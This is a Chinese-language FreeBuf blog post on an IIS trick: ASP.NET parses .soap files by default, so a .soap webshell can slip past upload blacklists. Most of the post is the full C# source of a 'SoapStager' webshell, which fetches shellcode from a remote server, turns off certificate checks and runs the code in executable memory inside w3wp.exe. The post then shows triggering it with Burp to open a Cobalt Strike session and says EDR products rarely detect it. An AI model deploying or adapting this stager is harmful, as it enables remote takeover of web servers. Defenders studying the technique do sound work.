freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

IIS下的soap类webshell
2022-06-09 22:06:10
所属地 北京

前几天看到绿盟天元实验室转发的一篇外网文章,是关于ASP.NET默认启用的文件扩展类型问题,仔细阅读文章后想在这里分享给大家。(第一次写技术文章,不合理之处多多包涵)

众所周知webshell有很多后缀类型的后门,例如php、jsp、asp、apsx等等,而文章内提到的是在默认安装的ASP.NET内,soap的扩展类型是默认开启的,这也就意味着soap后缀类型的webshell可以在默认安装的ASP.NET环境内被执行解析,而大多数Web服务器进程不需要写入soap扩展名的文件,因此有关该类型的黑名单上传规则显的微不足道。

首先启用win server2019的虚拟机,在服务器内启用web服务,在添加角色安装ASP.NET4.7,安装完成后可以查看ASP的config文件查看配置,该条表示允许soap的扩展程序在IIS执行。

<add extension=".soap" type="System.Web.Compilation.WebServiceBuildProvider" />

打开IIS处理程序映射可以看到默认安装下存在*.soap的扩展类型。

原文中作者测试了关于.rem文件能否解析的问题,结果是返回错误,无法解析。查看web.config发现.rem没有构建扩展程序,但是.soap有而且构建程序与.asmx相同。使用与asmx后缀webshell代码相同的soap后缀webshell进行上传。原文表示作者自己不喜欢临时造轮子,我就直接拿来文章的webshell来用了,这里先浅浅地分析一下作者写的代码。

首先声明了使用ASP引擎分析的WEB服务,之后导入windows系统库。

<%@ WebService Language="C#" class="SoapStager"%>
using System;
using System.IO;
using System.Web;
using System.Web.Services;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;

然后做web服务绑定以及进行命名空间的声明,定义SoapStager类,使用MarshalByRefObject跨应用程序域传递数据。下面调用了两个windowsAPI,VirtualAlloc以及 CreateThread,VirtualAlloc就是用来申请内存空间而CreateThread用来在主线程的基础上创建一个新线程,保证在分配内存后能将下载好的shellcode移动到iis默认进程w3wp.exe的新线程。

[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
public class SoapStager : MarshalByRefObject
{
    private static Int32 MEM_COMMIT=0x1000;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);

作者通过System.Net.webClient从其他web服务器中下载shellcode,分配好执行内存后将数据复制其中,以此来执行恶意代码用于获取会话。

[System.ComponentModel.ToolboxItem(false)]
    [WebMethod]
    public string loadStage()
    {
        string Url = "http://"; //你web服务器的IP或者shellcode位置
        byte[] rzjUFlLZh;

        IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
        defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;

        using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
        {
            ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
            webClient.UseDefaultCredentials = true;
            rzjUFlLZh = webClient.DownloadData(Url);
        }

        // Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
        IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
        IntPtr owlqRoQI_ms = IntPtr.Zero;
        IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);

        return "finished";//执行成功返回值
    }
}

原文这里是从文件上传开始测试的,我省去了上传的步骤,直接放到目标站点里解析执行。

访问目标站点,直奔文件路径。

打开burpsuite,在WSDL下抓包。

这里我用了burpsuite的Wsdler扩展,可以直接转到解析后的页面。

使用repeater测试,查看响应包,200成功返回,说明执行成功。

现在查看cs,目标已经上线,在w3wp.exe内做进程注入,成功建立会话。

文章最后作者使用了一些edr进行测试,但是检测率非常低,说明很多主机防护设备缺少关于soap文件的检测规则。

谢谢大家浏览我的博客,作者小白一个,如果您觉得我写的比较垃,当个乐子看就行。

原文地址:https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap

(友情提示需要FQ哦)

# web安全 # shellcode # webshell # iis
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者